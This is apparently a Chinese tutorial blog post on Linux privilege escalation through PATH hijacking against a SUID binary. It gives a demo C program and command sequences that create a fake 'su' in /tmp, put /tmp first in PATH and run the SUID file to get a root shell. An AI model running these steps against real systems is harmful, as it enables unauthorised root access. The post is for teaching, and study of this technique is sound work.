LINUX提权之环境变量提权篇

news2024/11/28 7:34:10

前言

上一篇文章给大家介绍了linux中的内核提权的一些知识点不知道大家学的怎么样了,今天给大家带来一个全新的提权方法——“环境变量提权”,本文会介绍关于环境变量提权的基本知识以及利用方法。

环境变量提权

PATH是Linux系统中的环境变量,指定存储可执行程序的所有bin和sbin目录,通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。有时环境变量会存在 ‘.’, 这是因为程序环境变量并不是完整的路径,这就是我们可以利用的点。

基础知识

先简单说一下环境变量提权的基本流程:

调用文件(c语言)-编译-复制文件-增加环境变量-执行触发

环境变量

在 Linux 系统中,环境变量是用来定义系统运行环境的一些参数,比如每个用户不同的home目录,下面列举一些重要的环境变量:

对于环境变量的知识值得注意的是Linux的命令通常都存放在/bin、/sbin目录下,我们通过命令查看当前用户相关的环境变量。

echo $PATH 

上面echo的路径都是一些可以找到可执行程序的目录列表。当我们输入一个指令时,shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中寻找这些应用程序。

我们写一段demo来尝试一下:

#include
void main() {
setuid(0);
setgid(0);
system("su - xino");
} 

setuid 规定了其运行用户,意思是通过root权限切换到xino用户,我们需要编译一下并赋予suid权限:

gcc demo.c -o shell
chmod u+s shell 

在赋予权限后我们查看该文件权限,发现是SUID权限,对于SUID之前已经讲过了,有兴趣的小伙伴可以去之前的文章了解,简单来说我们可以以root权限运行文件。我们查询suid文件:

find / -perm -u=s -type f 2>/dev/null 

发现了我们构造的shell文件,于是我们尝试执行一下,执行后发现当前用户切换了:

ls
./shell 

了解到这里之后,我们思考一下,我们找到了具有SUID权限的文件,用户的环境变量可以自定义,那我们让另一个位置的环境配置在当前环境之前,就可以进行环境变量的劫持了。

下面就简单简述一下环境变量提权的方法:

提权方法

当我们进入了受害者机器,并且查到了具有SUID权限的我们所编译的文件,那么可以尝试以下方法来获取管理员权限,原理基本差不多,都是通过修改环境变量路径来进行提权。

echo命令法

echo "/bin/bash" > /tmp/su
chmod 777 /tmp/su
echo $PATH
export PATH=/tmp:$PATH
cd /srv
./shell 

cp法

cp /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell 

软链接法

ln -s /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell 

分析

上面的方法为什么能进行提权呢,我们简单分析一下:

cp /bin/sh /tmp/su 

上面代码的意思就是将sh复制到/tmp目录下的su文件接着分析:

export PATH=/tmp:$PATH 

进入/tmp目录执行su( ./su(执行/bin/sh) ) ,因为环境变量加入了/tmp下。之后我们执行

./shell 

就是root权限运行了,也就说明我们提权成功了。

结语

今天给大家带来了环境变量提权比较简单的方法不知道大家听明白了没有,环境变量提权中比较重要的就是结合suid权限来展开,本文只是简单列举了其中的几个方法,因为本人也很少用这种方法,可能理解的不是很到位望大佬们指点,如果喜欢本文不妨一键三连支持一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/153169.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

全球月活用户4年破10亿,TikTok的3大底层逻辑

武汉瑞卡迪电子商务有限公司:在即将过去的2022年,TikTok成为了众多出海品牌想要赢得新生意的重要平台。品牌应该如何看待TikTok?如何利用节点营销抓住机会?那些已经在TikTok上成功的品牌背后,是否有一些定式&#xff0…

centos7安装ansible

在ansible中主控机器必须是linux机器,不可以是windows,但是被控机器可以是windows。 control machine:192.168.184.128 target machine:192.168.184.129(被管理机器上不需要安装什么软件) 1.ansible的安装前提是要有python&…

vue的基础指令演示代码及简单案例

目录 一、内容绑定,事件绑定 v-text v-html v-on 案例:计数器 二、显示切换,属性绑定 v-show v-if v-bind 案例:图片切换 三、列表循环,表单元素绑定 v-for v-on补充 v-model 通过Vue实现常见的网页效果…

QSFP-DD封装小知识,你了解吗?

随着数据中心和高级网络应用中数据流量的上升,光模块市场向更高的速度,更低的功耗和更小的外形或尺寸发展。QSFP-DD封装有什么特征和优势?它与QSFP28/QSFP56模块有什么区别的?本期文章,我们一起了解一下QSFP-DD封装相关…

【Linux篇】之网络文件系统(nfs)配置

nfs : Network File System 网络文件系统 作用:linux内核启动之后,通过网络的方式从ubuntu服务器中挂载根文件系统, 而不需要将根文件系统部署到开发板。 1> 安装nfs服务器端 sudo apt-get install nfs-kernel-server2> 修改nfs服务的…

解读手机拍照的各个参数(AI水印)

AI水印就是在照片里面自动添加一些文字或者符号,里面有一些固定的水印,目前还不了解能不能识别一些不是固定地方的景色。(目前给出来的是黄山、张家界景点,不晓得华山这种能不能自动添加上水印)。

Go 1.19.3 channel原理简析

channel channel和goroutine是Go语言的核心命脉。这篇文章来简单介绍一下Go chan的原理,源码并不好读,应结合gmp调度模型来理解,后续补充吧。 由上图可见,chan的底层结构是一个hchan结构体,其中buf字段指向了一个环形…

网狐大联盟服务端源码分析-服务核心

源码目录结构,如下图,服务工程 cpp文件列表及含义: WHBase64.cpp : base6编码类 WHCommandLine.cpp : 命令行参数操作类 WHDataLocker.cpp : 数据锁类,线程操作数据时用 WHDataQueue.cpp : 数据队列类,异步操作数据用 WHEncrypt.cpp : 加密类 WHIniData.cpp : ini文件操作类 WH…

VGG的成功之处在哪

VGG 网络可以分为两部分:第⼀部分主要由卷积层和汇聚层组成,第⼆部分由全连接层组成VGG与AlexNet相比,VGG采用小的卷积核和池化层,层数更深,通道数更多,其中每个通道代表着一个FeatureMap,更多的…

Tomcat组件生命周期管理:LifeCycle

我们已经知道Catalina初始化了Server(它调用了 Server 类的 init 和 start 方法来启动 Tomcat);你会发现Server是Tomcat的配置文件server.xml的顶层元素,那这个阶段其实我们已经进入到Tomcat内部组件的详解;这时候有一个问题,这么多组件是如何管理它的生命周期的呢? 引…

LabVIEW操控应用程序和VI设置

LabVIEW操控应用程序和VI设置属性是VI、对象或应用程序的特性。方法是在VI、对象或应用程序上进行的操作。用户可通过属性节点和调用节点获取和设置本地或远程应用程序实例、VI和对象上的属性和方法。有些应用程序、VI和对象的设置只能通过属性和方法获取和设置。参考下列使用应…

04【Cookie、Session】

文章目录04【Cookie、Session】一、Cookie1.1 Cookie概述1.1.1 协议的状态1.1.2 Cookie的传递流程1.2 Cookie的操作1.2.1 创建Cookie1.2.2 Cookie的销毁1.2.3 Cookie的获取1.2.4 Cookie中使用特殊字符的情况1.2.5 Cookie的携带路径2.2.6 Cookie的删除二、Session2.1 Session概述…

Deep tabular data learning

ContentsWhy do tree-based models still outperform deep learning on tabular data?Tabular Data (表格数据)NN 处理表格数据的挑战模型的归纳偏置有何不同?模型本质有何不同?做个小结[CIKM 2019] AutoInt: Automatic Feature Interaction Learning v…

【前端】Vue项目:旅游App-(13)home:热门数据的网络请求、store和显示

文章目录目标过程与代码页面html与css获取数据网络请求store展示数据效果总代码修改或添加的文件service的home.jsservice的index.jsstore的home.jshome.vue本项目博客总结:【前端】Vue项目:旅游App-博客总结 目标 天河区、番禺区…等数据是动态的&…

智能物流仓储机器人|海格里斯HEGERLS货物夹抱式防倾倒装置四向穿梭车

在电商以及物流服务行业迅猛发展的当下,自动化立体仓库表面了更加强大的生命力与适应能力。谋求人力节省以及长远发展的电商也需要自动化立体仓库来帮助他们实现这一目标。在现有的技术中会利用穿梭车进行货物转运,但是在转运过程中,由于货物…

浅谈Web渗透

中华人民共和国网络安全法 第二十七条 任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动:不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具,明知他人从事危…

“一秒”读懂串扰对信号传输时延的影响

作者:一博科技高速先生成员 刘春在前几期的文章“为什么DDR走线要走同组同层?”中,我们了解了信号在传输线上的传输速度以及微带线与带状线传输的时延差异。同时也有很多热情的网友对影响传输线时延情况给出了各自的见解,比如串扰…

经营性房产的管理范围

经营性房屋是指商业用房或生产用房,是学校出租给外单位使用的房屋,数图互通经营性房屋管理功能范围包括: 定义经营性房屋(范围):定义那些房产是可以租赁。 租赁房屋基本信息:建立商铺&#xff…

【ArcGIS Pro微课1000例】0025:大型商场选择典型案例(缓冲区分析+叠置分析)

文章目录 一、实验分析二、实验数据三、实验过程一、实验分析 合理的商场位置有利于商家营业,方便人们购物。商场选址问题需要考虑很多因素,如地理位置、居民点分布、停车场分布、交通情况等。综合把握这些影响因素对商场的选址显得尤为重要。 二、实验数据 加载专栏实验数…

赞赞赞!融云收获行业媒体「组团打 Call」

近期,融云又收获了来自行业和媒体的一波集中“点赞”,分别是—— 产品方面来自掘金的年度创新产品奖; 技术方面来自思否的年度技术团队、掘金的人气技术团队荣誉; 出海方面入选爱分析出海通信厂商全景报告。 打 Call 组团来袭…